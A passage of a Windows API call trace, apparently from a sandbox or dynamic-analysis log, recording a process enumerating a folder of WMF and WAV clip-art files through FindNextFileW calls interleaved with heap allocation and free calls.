nFileSizeLow=0xb7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212701.WMF", cAlternateFileName="")) returned 1 [0073.440] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.440] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.440] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.440] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.440] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.440] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63270 [0073.440] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa91bd0 [0073.440] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.440] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdae7a700, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdae7a700, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0x2424, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212957.WMF", cAlternateFileName="")) returned 1 [0073.440] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.440] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.440] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.440] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.440] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.441] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63290 [0073.441] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa91c58 [0073.441] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.441] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8726e600, ftCreationTime.dwHighDateTime=0x1be59a2, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8726e600, ftLastWriteTime.dwHighDateTime=0x1be59a2, nFileSizeHigh=0x0, nFileSizeLow=0x68ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0214098.WAV", cAlternateFileName="")) returned 1 [0073.441] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.441] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.441] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.441] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.441] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.441] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa632b0 [0073.441] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa91ce0 [0073.441] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.441] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32ba5a00, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x32ba5a00, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215086.WMF", cAlternateFileName="")) returned 1 [0073.441] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.441] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.441] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.441] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.441] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.441] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa632d0 [0073.441] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa91d68 [0073.441] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.441] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35c4ec00, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x35c4ec00, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x3138, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216516.WMF", cAlternateFileName="")) returned 1 [0073.442] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.442] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.442] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.442] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.442] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.442] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa632f0 [0073.442] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa91df0 [0073.442] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.442] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e7ca500, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7e7ca500, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x1c06, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216588.WMF", cAlternateFileName="")) returned 1 [0073.442] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.442] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.442] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.442] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.442] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.442] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63310 [0073.442] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa91e78 [0073.442] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.442] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff3ba100, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xff3ba100, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x5d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216724.WMF", cAlternateFileName="")) returned 1 [0073.442] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.442] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.442] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.443] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.443] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.443] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63330 [0073.443] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa91f00 [0073.443] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.443] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x825cf700, ftCreationTime.dwHighDateTime=0x1be6c1b, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x825cf700, ftLastWriteTime.dwHighDateTime=0x1be6c1b, nFileSizeHigh=0x0, nFileSizeLow=0x2dc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216858.WMF", cAlternateFileName="")) returned 1 [0073.443] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.443] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.443] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.443] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.443] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.443] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63350 [0073.443] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa91f88 [0073.443] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.443] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8cb3500, ftCreationTime.dwHighDateTime=0x1be6c1d, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd8cb3500, ftLastWriteTime.dwHighDateTime=0x1be6c1d, nFileSizeHigh=0x0, nFileSizeLow=0x1aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0217698.WMF", cAlternateFileName="")) returned 1 [0073.443] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.443] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.443] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.443] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.443] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.443] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63370 [0073.443] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa92010 [0073.444] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.444] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bfdb600, ftCreationTime.dwHighDateTime=0x1be7a36, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7bfdb600, ftLastWriteTime.dwHighDateTime=0x1be7a36, nFileSizeHigh=0x0, nFileSizeLow=0x3838, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0221903.WMF", cAlternateFileName="")) returned 1 [0073.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.444] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.444] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63390 [0073.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa92098 [0073.444] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.444] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7bae00, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7d7bae00, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222015.WMF", cAlternateFileName="")) returned 1 [0073.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.444] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.444] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa633b0 [0073.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa92120 [0073.444] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.444] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fde0800, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fde0800, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x632, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222017.WMF", cAlternateFileName="")) returned 1 [0073.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.444] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.445] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa633d0 [0073.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa921a8 [0073.445] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.445] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82406200, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x82406200, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222019.WMF", cAlternateFileName="")) returned 1 [0073.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.445] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.445] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa633f0 [0073.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa92230 [0073.445] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.445] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85d3e900, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85d3e900, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222021.WMF", cAlternateFileName="")) returned 1 [0073.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.445] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.445] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63410 [0073.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa922b8 [0073.446] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.446] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b0a7e00, ftCreationTime.dwHighDateTime=0x1be860b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7b0a7e00, ftLastWriteTime.dwHighDateTime=0x1be860b, nFileSizeHigh=0x0, nFileSizeLow=0xf5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0229385.WMF", cAlternateFileName="")) returned 1 [0073.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.446] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.446] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63430 [0073.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa92340 [0073.446] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.446] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c3bab00, ftCreationTime.dwHighDateTime=0x1be860b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7c3bab00, ftLastWriteTime.dwHighDateTime=0x1be860b, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0229389.WMF", cAlternateFileName="")) returned 1 [0073.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.446] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.446] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63450 [0073.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa923c8 [0073.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x2e40) returned 0xa94c50 [0073.447] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa8b240) returned 1 [0073.447] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.447] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd64900, ftCreationTime.dwHighDateTime=0x1bc82e4, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6fd64900, ftLastWriteTime.dwHighDateTime=0x1bc82e4, nFileSizeHigh=0x0, nFileSizeLow=0x30da, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0230876.WMF", cAlternateFileName="")) returned 1 [0073.447] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.447] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.447] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.447] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.447] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.447] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63470 [0073.447] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa92450 [0073.447] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.448] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabe1b900, ftCreationTime.dwHighDateTime=0x1be516b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xabe1b900, ftLastWriteTime.dwHighDateTime=0x1be516b, nFileSizeHigh=0x0, nFileSizeLow=0x77f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233018.WMF", cAlternateFileName="")) returned 1 [0073.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.448] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.448] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63490 [0073.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa924d8 [0073.448] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.448] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c43c200, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3c43c200, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1522, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233070.WMF", cAlternateFileName="")) returned 1 [0073.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.448] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.448] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa634b0 [0073.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa92560 [0073.448] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.448] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36d32e00, ftCreationTime.dwHighDateTime=0x1be56ed, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x36d32e00, ftLastWriteTime.dwHighDateTime=0x1be56ed, nFileSizeHigh=0x0, nFileSizeLow=0x80f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233312.WMF", cAlternateFileName="")) returned 1 [0073.449] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23f92c00, ftCreationTime.dwHighDateTime=0x1be8094, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x23f92c00, ftLastWriteTime.dwHighDateTime=0x1be8094, nFileSizeHigh=0x0, nFileSizeLow=0x6632, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234131.WMF", cAlternateFileName="")) returned 1 [0073.449] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a15c200, ftCreationTime.dwHighDateTime=0x1be7fe9, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4a15c200, ftLastWriteTime.dwHighDateTime=0x1be7fe9, nFileSizeHigh=0x0, nFileSizeLow=0xa87e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234266.WMF", cAlternateFileName="")) returned 1 [0073.449] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: 